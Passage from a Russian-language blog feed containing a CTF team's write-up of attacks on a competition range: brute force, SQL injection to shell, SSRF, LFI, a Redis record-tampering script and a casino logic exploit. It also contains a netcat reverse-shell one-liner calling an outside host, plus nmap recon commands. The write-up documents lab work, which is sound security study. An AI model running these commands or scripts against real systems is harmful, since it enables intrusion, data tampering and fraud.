  &lt;p id=&quot;ktkD&quot;&gt;Подвезли вам вторую часть разбора рисков с сегмента &lt;strong&gt;Standalone&lt;/strong&gt; — самое лакомое, сложное и интересное. Сегодня без долгих вступлений =) &lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;fYiN&quot;&gt;1. Кража новой технологии для генерации электроэнергии&lt;/h2&gt;
  &lt;p id=&quot;NQ1x&quot;&gt;В первой части разбора мы провели первичную разведку и получили информацию о списке хостов в сети, среди них был хост corp-wiki.standalone.stf – наша сегодняшняя жертва.&lt;/p&gt;
  &lt;figure id=&quot;QxGy&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/51/e5/51e5a7a8-87ee-47c9-8432-0508680dbada.png&quot; width=&quot;2630&quot; /&gt;
    &lt;figcaption&gt;Недопустимое событие&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;21lT&quot;&gt;По результатам сканирования на данном хосте были обнаружены порты 80, 8082, и 3306 – MySQL, запомним это и отправимся изучать веб. &lt;/p&gt;
  &lt;p id=&quot;ge0i&quot;&gt;Встречает нас лендинг корпоративной вики:&lt;/p&gt;
  &lt;figure id=&quot;BMFq&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d6/05/d6058baa-4946-4e2f-8431-a20460be9714.png&quot; width=&quot;3576&quot; /&gt;
    &lt;figcaption&gt;corp-wiki&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;HMjF&quot;&gt;В статьях ничего особо полезного нет, за исключением имени пользователя – emivil&lt;/p&gt;
  &lt;figure id=&quot;clRn&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/2e/c0/2ec031e0-7c09-489b-8253-9385b8e44702.png&quot; width=&quot;2116&quot; /&gt;
    &lt;figcaption&gt;User&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;poZ6&quot;&gt;Так же на ресурсе доступна функция логина и регистрации, однако для регистрации пользователя необходим код приглашения, которого у нас нет. Однако нам удалось сбрутить пароль пользователя emiwil:&lt;/p&gt;
  &lt;figure id=&quot;kOO6&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bd/33/bd335e65-1444-413d-a4ea-54be5e92be36.png&quot; width=&quot;2054&quot; /&gt;
    &lt;figcaption&gt;Password bruteforce&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Q7Le&quot;&gt;Попадаем в систему под пользователем emivil и начинаем внимательно изучать список доступных нам статей, среди которых находим следующее: &lt;/p&gt;
  &lt;figure id=&quot;aIzJ&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/90/39/9039378c-28d4-4661-ae0d-73733eeaab6d.png&quot; width=&quot;2106&quot; /&gt;
    &lt;figcaption&gt;post 1&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;1Esm&quot;&gt;Итак, есть некий пользователь roblee с паролем &lt;code&gt;;;48~Various~Boat~Cold~97;;&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;WkKS&quot;&gt;Пользователь жалуется, что не может получить доступ ни к какому ресурсу, кроме вики и &lt;strong&gt;базы данных. &lt;/strong&gt;Вспоминаемпро порт 3306 и мчим туда&lt;strong&gt;:&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;8iGL&quot;&gt;mysql -h 10.124.249.9 -P 3306 -u roblee -p&lt;/pre&gt;
  &lt;p id=&quot;TIU7&quot;&gt;Получаем доступ к базе данных и видим список таблиц:&lt;/p&gt;
  &lt;figure id=&quot;h3bx&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/58/25/582555c2-d91b-48a9-b75f-ab198d582baf.jpeg&quot; width=&quot;1234&quot; /&gt;
    &lt;figcaption&gt;mysql&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;aNDG&quot;&gt;Вставим сюда свой пригласительный код:&lt;/p&gt;
  &lt;pre id=&quot;KbuJ&quot;&gt;INSERT INTO wiki.codes (code) VALUE (&amp;#x27;collapsz_g0dl1ke_c0d3&amp;#x27;);&lt;/pre&gt;
  &lt;p id=&quot;yBUk&quot;&gt;И регистрируем нового пользователя, указывая вставленный в базу код:&lt;/p&gt;
  &lt;figure id=&quot;AFgy&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e9/84/e984d85f-649f-468f-833f-2ab39df962a2.png&quot; width=&quot;1074&quot; /&gt;
    &lt;figcaption&gt;Register&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;wplo&quot;&gt;В профиле находим функции смены ника, слогана и аватарки:&lt;/p&gt;
  &lt;figure id=&quot;nbJ3&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b9/c1/b9c12d67-f0d3-46a1-ad6b-2dc37614da10.png&quot; width=&quot;2228&quot; /&gt;
    &lt;figcaption&gt;Profile&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;LQHP&quot;&gt;Через смену аватарки реализуем ssrf:&lt;/p&gt;
  &lt;figure id=&quot;M3me&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e0/49/e0497e41-5763-4e29-be1e-83831c17b3b5.png&quot; width=&quot;1138&quot; /&gt;
    &lt;figcaption&gt;ssrf&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;RA78&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/44/42/44420aab-0924-4bf8-8a9f-e691ea653deb.png&quot; width=&quot;1820&quot; /&gt;
    &lt;figcaption&gt;ssrf&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;1ton&quot;&gt;Сдаем SSRF-флаг, но недопустимое событие мы все еще не реализовали. Среди статей была парочка, где автором  был указан admin – его учетку мы и хотим получить. Вернемся к статьям, доступным emivil и обнаружим там это: &lt;/p&gt;
  &lt;figure id=&quot;CdQ1&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c3/e4/c3e46d57-250a-4885-a74d-7edf51f58ecb.png&quot; width=&quot;2640&quot; /&gt;
    &lt;figcaption&gt;post 2&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;PJeH&quot;&gt;Некий баг на неком http://searchserver:8000/api/data&lt;/p&gt;
  &lt;p id=&quot;eAdk&quot;&gt;Снова возвращаемся к смене аватарки. Отправив запрос на ресурс выше видим выхлоп:&lt;/p&gt;
  &lt;figure id=&quot;5Vhr&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a2/07/a207b9dd-0a15-4501-ab0a-f1ca84913958.png&quot; width=&quot;1714&quot; /&gt;
    &lt;figcaption&gt;searchserver&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;i4Nz&quot;&gt;Немного поигравшись с URL запроса получаем знакомую ошибку:&lt;/p&gt;
  &lt;figure id=&quot;YzRh&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ef/a6/efa6b450-43f7-4824-8450-c02f6edb0bef.jpeg&quot; width=&quot;924&quot; /&gt;
    &lt;figcaption&gt;500&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;kFI0&quot;&gt;sqlmap моментально убивал тачку, поэтому эту скулю пришлось крутить ручками:&lt;/p&gt;
  &lt;figure id=&quot;oQdT&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9f/ba/9fba468f-3779-4867-a9f9-ad9e6550def0.png&quot; width=&quot;3600&quot; /&gt;
    &lt;figcaption&gt;pass&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;opc8&quot;&gt;Авторизуемся с найденным паролем и среди статей админа находим ту самую с секретной формулой, что и требовалось в риске:&lt;/p&gt;
  &lt;figure id=&quot;WCuR&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8b/fb/8bfb8222-0f08-4be8-900b-7af11966263e.png&quot; width=&quot;1998&quot; /&gt;
    &lt;figcaption&gt;secret formula&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;f16N&quot;&gt;2. Нарушение работы службы доставки (подмена адреса и данных получателя)&lt;/h2&gt;
  &lt;p id=&quot;y81z&quot;&gt;Это. Было. Долго. Кто понял, тот понял =) &lt;s&gt;Помчали &lt;/s&gt;поползли. В данном риске было необходимо подменить адреса и данные получателя посылки &lt;/p&gt;
  &lt;figure id=&quot;TG9G&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/5d/3e/5d3e125c-99bc-4609-8612-f4c371ca6d23.png&quot; width=&quot;2578&quot; /&gt;
    &lt;figcaption&gt;Риск&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;LfyJ&quot;&gt;На 80 порту хоста нас встречает веб-сайт, позволяющий регистрироваться, логиниться, и создавать новые посылки. &lt;/p&gt;
  &lt;figure id=&quot;I2Gm&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/10/ac/10ac4355-03da-4e37-97b1-4680f2d27888.png&quot; width=&quot;3600&quot; /&gt;
    &lt;figcaption&gt;fastship&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;1dy2&quot;&gt;Базовые проверки на уязвимости успеха не принесли, все работало как надо&lt;/p&gt;
  &lt;figure id=&quot;MjSE&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d0/b2/d0b2c515-a7c0-4733-8837-fe7a4b9f0e3d.png&quot; width=&quot;3566&quot; /&gt;
    &lt;figcaption&gt;profile&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ei2N&quot;&gt;Немного поковырявшись, мы смогли вызвать 500 ошибку на странице логина:&lt;/p&gt;
  &lt;figure id=&quot;2a3H&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a9/80/a980ecfc-3fa7-4f93-91f5-699d4243701c.png&quot; width=&quot;2884&quot; /&gt;
    &lt;figcaption&gt;500&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;EYWr&quot;&gt;Далее дело техники – сохраняем запрос и скармливаем его в sqlmap: &lt;/p&gt;
  &lt;pre id=&quot;9Yus&quot;&gt;sqlmap -r fastship.req --level 3 --flush-session --batch&lt;/pre&gt;
  &lt;p id=&quot;jzgj&quot;&gt;sqlmap определил СУБД posgresql:&lt;/p&gt;
  &lt;figure id=&quot;qqO0&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9a/e7/9ae7dbbd-7c7d-401b-adcf-20ed92999a33.jpeg&quot; width=&quot;1040&quot; /&gt;
    &lt;figcaption&gt;PostgreSQL&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;k2tB&quot;&gt;SQL-инъекция оказалась time-based, поэтому, несмотря на &lt;code&gt;--threads 10&lt;/code&gt;, ждать пришлось очень, очень долго. И самое веселое – ничего полезного мы так и не сдампили. Зато спустя n часов смогли получить shell. Через time-based в PostgreSQL, да...было долго.&lt;/p&gt;
  &lt;figure id=&quot;N6sX&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/81/27/812794a2-0532-4e1a-b130-3efc54d1aeb1.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;os-shell&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;tbgb&quot;&gt;Далее при помощи netcat нагрузки получили стабильный реверс-шелл и закрепились в системе с использованием meterpreter и sliver:&lt;/p&gt;
  &lt;pre id=&quot;wfpg&quot;&gt;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&amp;gt;&amp;amp;1|nc 10.10.10.10 9001 &amp;gt;/tmp/f&lt;/pre&gt;
  &lt;p id=&quot;Tuqa&quot;&gt;В ходе перечисления ресурсов системы мы нашли креды админа базы данных PostgreSQL, однако замена всех необходимых ячеек не привела к реализации НС – пришлось копать глубже. &lt;/p&gt;
  &lt;p id=&quot;dhhO&quot;&gt;При помощи скрипта subf.sh (скрипт для брутфорса паролей учетных записей *nix) мы сбрутили пароль пользователя fastship и пароль пользователя root: &lt;/p&gt;
  &lt;figure id=&quot;KbTq&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8c/0f/8c0fa295-8414-48c1-a598-fde7aeec2e70.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;bruteforce&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;S9mx&quot;&gt;После чего получили доступ к сурс-файлам веб-сайта и поняли, что в качестве базы данных используется не PosgreSQL, а Redis:&lt;/p&gt;
  &lt;figure id=&quot;EGFB&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/5e/99/5e996a7a-b4b0-4ac7-a1ab-a9e77baa9edf.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;Redis&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;5hon&quot;&gt;Спустя некоторое время мы написали скрипт, заменяющий все нужные нам ключи (их там было очень, очень много) на нужные нам значения:&lt;/p&gt;
  &lt;pre id=&quot;mkPY&quot;&gt;import redis
import time
from concurrent.futures import ThreadPoolExecutor

def update_recipient(key):
    try:
        package = r.hgetall(key)
        updates = []
        
        if (b&amp;#x27;recipient&amp;#x27; in package and package[b&amp;#x27;recipient&amp;#x27;] != b&amp;#x27;stf_xakep&amp;#x27;):
            updates.append((&amp;#x27;recipient&amp;#x27;, &amp;#x27;stf_xakep&amp;#x27;))
        
        if (b&amp;#x27;recipient_address&amp;#x27; in package and package[b&amp;#x27;recipient_address&amp;#x27;] != b&amp;#x27;stf_recipient&amp;#x27;):
            updates.append((&amp;#x27;recipient_address&amp;#x27;, &amp;#x27;stf_recipient&amp;#x27;))

        if updates:
            for field, value in updates:
                r.hset(key, field, value)
            return key.decode(&amp;#x27;utf-8&amp;#x27;)
        else:
            return None 

    except redis.RedisError as e:
        print(f&amp;quot;Ошибка при обновлении {key.decode(&amp;#x27;utf-8&amp;#x27;)}: {e}&amp;quot;)
        return None

try:
    r = redis.StrictRedis(host=&amp;#x27;127.0.0.1&amp;#x27;, port=6379, password=&amp;#x27;material-deny-infect-dully-praline-froufrou&amp;#x27;)
    r.ping()
except redis.ConnectionError as e:
    print(f&amp;quot;Ошибка подключения к Redis: {e}&amp;quot;)
    exit(1)

start_time = time.time()

keys = []
cursor = 0
try:
    while True:
        cursor, batch_keys = r.scan(cursor, match=&amp;#x27;*&amp;#x27;, count=1000)
        keys.extend(batch_keys)
        print(f&amp;quot;Получено {len(batch_keys)} ключей&amp;quot;)
        if cursor == 0:
            break
except redis.RedisError as e:
    print(f&amp;quot;Ошибка при получении ключей: {e}&amp;quot;)
    exit(1)

updated_keys = []
with ThreadPoolExecutor(max_workers=10) as executor: 
    results = list(executor.map(update_recipient, keys))
    updated_keys = [key for key in results if key is not None]  


new_keys = []
cursor = 0
try:
    while True:
        cursor, batch_keys = r.scan(cursor, match=&amp;#x27;*&amp;#x27;, count=1000)
        new_keys.extend(batch_keys)
        if cursor == 0:
            break
except redis.RedisError as e:
    print(f&amp;quot;Ошибка при проверке новых ключей: {e}&amp;quot;)
    exit(1)


new_key_count = len(new_keys)
end_time = time.time()

print(f&amp;quot;Обновление завершено за {end_time - start_time:.2f} секунд.&amp;quot;)
print(f&amp;quot;Количество обновленных ключей: {len(updated_keys)}&amp;quot;)
print(f&amp;quot;Количество новых ключей: {new_key_count}&amp;quot;)&lt;/pre&gt;
  &lt;p id=&quot;RD1Q&quot;&gt;В результате работы скрипта все значения recipient и recipient_address были заменены на нужные нам значения. Недопустимое событие было реализовано. &lt;/p&gt;
  &lt;figure id=&quot;wk2c&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/45/78/4578daa8-3b80-43fd-996d-5046f4857b4e.png&quot; width=&quot;1270&quot; /&gt;
    &lt;figcaption&gt;Риск&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;s9kg&quot;&gt;3. Компрометация алгоритмов работы онлайн-казино&lt;/h2&gt;
  &lt;p id=&quot;s59Y&quot;&gt;Самое лакомое на сегодня – казино. Название риска говорит само за себя – нужно  любыми способами обмануть эту ракетку и выиграть у дилера. &lt;/p&gt;
  &lt;figure id=&quot;19oY&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9c/2e/9c2e3132-ea27-4b19-8154-b20d4c53f60d.png&quot; width=&quot;2574&quot; /&gt;
    &lt;figcaption&gt;Риск&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;hRlF&quot;&gt;На самом сайте ничего особо интересного нет: &lt;/p&gt;
  &lt;figure id=&quot;gcvo&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a8/94/a894e044-d4ba-4604-8f7a-3095e0b7e9fd.png&quot; width=&quot;2988&quot; /&gt;
    &lt;figcaption&gt;Casino&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;BUDm&quot;&gt;Однако попытка просмотреть карты в новой вкладке открыла для нас интересный URL-запрос: &lt;/p&gt;
  &lt;figure id=&quot;XQjZ&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/50/27/50273b83-3358-4c08-afe2-d2f3162eb991.png&quot; width=&quot;1278&quot; /&gt;
    &lt;figcaption&gt;card&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;XkJT&quot;&gt;И мы не прогадали:&lt;/p&gt;
  &lt;figure id=&quot;q6Pw&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a0/a6/a0a6f784-9bff-40a1-b9dc-538ce1648e49.png&quot; width=&quot;2902&quot; /&gt;
    &lt;figcaption&gt;LFI&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;x8Da&quot;&gt;Сдаем LFI-флаг и идем дальше, однако что нам может дать LFI в риске, где нужно  скомпрометировать алгоритм работы казино? &lt;/p&gt;
  &lt;p id=&quot;cTwL&quot;&gt;Все запросы летят в json, где-то же этот json должен обрабатываться, так? &lt;/p&gt;
  &lt;figure id=&quot;z6MH&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a2/8a/a28a8275-41ff-42d4-94f7-379108765b4d.png&quot; width=&quot;2102&quot; /&gt;
    &lt;figcaption&gt;Запрос&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;N3bC&quot;&gt;При помощи Burp Intruder мы проверили /proc/FUZZ/cmdline, откуда получили информацию о запущенном /opt/casino/server&lt;/p&gt;
  &lt;p id=&quot;WzBC&quot;&gt;По заголовку становится ясно, что это какой-то бинарь&lt;/p&gt;
  &lt;figure id=&quot;qsT6&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f6/4e/f64e640e-cf6a-4a9f-97b5-45fbec5572b3.png&quot; width=&quot;2906&quot; /&gt;
    &lt;figcaption&gt;/opt/casino/server&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;NR07&quot;&gt;Качаем его себе и ужасаемся:&lt;/p&gt;
  &lt;figure id=&quot;6SUM&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/05/ba/05ba79d0-5462-4590-bab4-f9ca5d1504b0.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;DIE&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Xsxy&quot;&gt;Прежде чем реверсить бинарь я предпринял отчаянную попытку выиграть в 21 в честную. Да, было. Да, отчаянно.&lt;/p&gt;
  &lt;figure id=&quot;M8TU&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/20/0c/200c4946-5a9c-47d2-bde0-16e0956c11b0.jpeg&quot; width=&quot;1024&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;6sXa&quot;&gt;Спустя 3 часа игры через разные стратегии я выявил закономерность:  &lt;/p&gt;
  &lt;blockquote id=&quot;UBxR&quot;&gt;&lt;strong&gt;&lt;em&gt;иногда, после того, как в игре побывает примерно 400-420 карт, дилер ошибается и набирает более, чем 21 очко, что приводит к его проигрышу. И происходит это стабильно в районе ~400 карт. &lt;/em&gt;&lt;/strong&gt;&lt;/blockquote&gt;
  &lt;p id=&quot;KlhA&quot;&gt;Таким образом в голове зародилась мысль о том, какая уязвимость логики может быть в данном риске: &lt;strong&gt;&lt;em&gt;в момент начала игры дилер инициализирует колоду карт если карты в ней вдруг заканчиваются, алгоритм отрабатывает неправильно и дилер набирает более, чем 21 очко&lt;/em&gt;&lt;/strong&gt;. &lt;/p&gt;
  &lt;p id=&quot;FdFP&quot;&gt;Наличие такого вектора в голове сильно упростило дальнейший реверс. Что нам дал бинарь: &lt;/p&gt;
  &lt;ul id=&quot;bbXi&quot;&gt;
    &lt;li id=&quot;GfgG&quot;&gt;При запуске он стартует HTTP-сервер и слушает входящие соединения самого на порту 3410 (API самого казино), общение с которым происходит посредством отправки данных в формате JSON&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure id=&quot;ntL5&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/5e/8f/5e8f5129-7b9c-41c6-a3a3-6bd3c8ac6579.png&quot; width=&quot;3600&quot; /&gt;
    &lt;figcaption&gt;server&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;ul id=&quot;CpN3&quot;&gt;
    &lt;li id=&quot;z3Ef&quot;&gt;При поступлении запроса на начало новой игры, создается сессия и ей присваивает определенный uuid&lt;/li&gt;
    &lt;li id=&quot;iHEz&quot;&gt;После этого инициализируются колода карт из трех наборов&lt;/li&gt;
    &lt;ul id=&quot;Ui1f&quot;&gt;
      &lt;li id=&quot;MK3o&quot;&gt;Набор номер 1: &lt;em&gt;ThreeSevenEightQueenClubsFourFiveNineJackKingFiveNineJackKingSixSixAce&lt;/em&gt;&lt;/li&gt;
      &lt;li id=&quot;ERce&quot;&gt;Набор номер 2: &lt;em&gt;SevenEightQueenClubsEightQueenClubsNineJackKingTenTenAce&lt;/em&gt;&lt;/li&gt;
      &lt;li id=&quot;hbEL&quot;&gt;Набор номер 3:&lt;br /&gt;&lt;em&gt;JackKingQueenClubsKingAceTwoTwoAce&lt;/em&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/ul&gt;
  &lt;figure id=&quot;mNXP&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/39/b9/39b9fbc6-961c-4c65-b2f8-2a83dfb91b04.png&quot; width=&quot;3600&quot; /&gt;
    &lt;figcaption&gt;IDA&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;ul id=&quot;vLQU&quot;&gt;
    &lt;li id=&quot;qiGp&quot;&gt;После того как колода карт заканчивается, дилер начинает брать карты из  нее заново, начиная с первого набора&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;KC7q&quot;&gt;Далее опытным путем (на этот раз при помощи автоматизации на Python) было найдено точное количество карт, после которого дилер обращается к первому набору из колоды – &lt;strong&gt;416&lt;/strong&gt;. &lt;/p&gt;
  &lt;p id=&quot;mDUp&quot;&gt;Я уверен, что это можно найти и в самом бинаре, но реверс GoLang есть реверс GoLang и чем его меньше, тем лучше =)&lt;/p&gt;
  &lt;p id=&quot;6ErU&quot;&gt;В результате полученной информации и выявленной уязвимости была выработана стратегия: &lt;strong&gt;маленькими ставками опустошить колоду, довести ее до уязвимого состояния и следом сделать большую ставку с расчетом на ошибку в алгоритме.&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;Gnie&quot;&gt;Код будет работать рекурсивно, в случае неудачи будет начинать новую игру и так вплоть до победного.&lt;/p&gt;
  &lt;figure id=&quot;xudY&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/35/5c/355c57dc-cfd1-49d4-84e8-7682ccc5b47c.png&quot; width=&quot;2268&quot; /&gt;
    &lt;figcaption&gt;Recurse&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;QEOd&quot;&gt;Спустя несколько итераций код выведет game_id выигранной сессии, что сигнализирует нам о успешно реализованном недопустимом событии.&lt;/p&gt;
  &lt;figure id=&quot;aFru&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b9/30/b930d32c-b91a-44f7-ba83-5ee6bd4e8629.png&quot; width=&quot;2978&quot; /&gt;
    &lt;figcaption&gt;exploit&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;RjzV&quot;&gt;Отправив запрос с нашим gid по адресу {BASE_URL}/games/{gid}/flag, проходим проверки и получаем флаг для реализации недопустимого события:&lt;/p&gt;
  &lt;figure id=&quot;f3P2&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/3e/df/3edfc20d-bf88-4c5d-a5d6-8be9144b46c6.png&quot; width=&quot;1568&quot; /&gt;
    &lt;figcaption&gt;flag&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;9XHI&quot;&gt;После чего сдаем эту красоту:&lt;/p&gt;
  &lt;figure id=&quot;AhmT&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/70/d7/70d75098-452c-4594-a77b-c21e3984ff83.jpeg&quot; width=&quot;1280&quot; /&gt;
    &lt;figcaption&gt;Submit&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;QDAi&quot;&gt;Заключение&lt;/h2&gt;
  &lt;p id=&quot;Rzlj&quot;&gt;Собственно, на этом и заканчивается наше приключение в сегменте Standalone. Было круто, было сложно, было интересно. &lt;/p&gt;
  &lt;p id=&quot;t3Ii&quot;&gt;С нетерпением ждем финалы! Всем меньше реверса голенга и удачи, спасибо за внимание =)&lt;/p&gt;

</content></entry><entry><id>collapsz:WQsCOq1LOUq</id><link rel="alternate" type="text/html" href="https://teletype.in/@collapsz/WQsCOq1LOUq?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=collapsz"></link><title>I. Разбор недопустимых событий с отборочных на Международные игры</title><published>2024-10-14T08:47:53.546Z</published><updated>2024-10-14T08:47:53.546Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/e7/c9/e7c9290f-050e-481c-b25e-9e31c9af2eea.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img4.teletype.in/files/7c/15/7c15859b-bd4a-4488-8e15-0c09f795c156.png&quot;&gt;@fefuctf @collapsz</summary><content type="html">
  &lt;p id=&quot;QJTB&quot;&gt;@fefuctf @collapsz&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;K159&quot;&gt;Вступление &lt;/h2&gt;
  &lt;p id=&quot;ZWQb&quot;&gt;Всем привет!&lt;br /&gt;Сегодня закончились отборочные на Международные игры по кибербезопасности, финал которых пройдет 30-31 октября. По результатам соревнований нам удалось войти в число команд, реализовавших &lt;strong&gt;все&lt;/strong&gt; недопустимые события и уязвимости, заложенные на полигоне.&lt;/p&gt;
  &lt;figure id=&quot;6fms&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/7c/15/7c15859b-bd4a-4488-8e15-0c09f795c156.png&quot; width=&quot;2600&quot; /&gt;
    &lt;figcaption&gt;Scoreboard&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;WVgX&quot;&gt;И пока мы усердно готовимся к финалу, предлагаю вашему первую часть разбора реализованных нами недопустимых событий. Приятного прочтения!&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;UK6D&quot;&gt;Разведка&lt;/h2&gt;
  &lt;p id=&quot;xDem&quot;&gt;В начале соревнований нам был предоставлен скоуп — диапазон адресов с которыми мы можем работать. Начинается все со сканирования — первым делом мы провели icmp-сканирование с целью выявить &amp;quot;живые&amp;quot; хосты в рамках скоупа:&lt;/p&gt;
  &lt;p id=&quot;gAdA&quot;&gt;&lt;code&gt;nmap -sn 10.124.249.0/27 -oN active_hosts&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;5Tir&quot;&gt;После чего запустили агрессивное сканирование хостов внешнего периметра:&lt;/p&gt;
  &lt;p id=&quot;GJdt&quot;&gt;&lt;code&gt;nmap -A -iL active_hosts -oN external_scan&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;JKc4&quot;&gt;В результате получили следующую табличку: &lt;/p&gt;
  &lt;figure id=&quot;zklZ&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b1/e3/b1e3eb89-e2e4-4dc9-8120-20950b2cd720.png&quot; width=&quot;698&quot; /&gt;
    &lt;figcaption&gt;Hosts&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;HbMF&quot;&gt;1. Дефейс информационного портала&lt;/h2&gt;
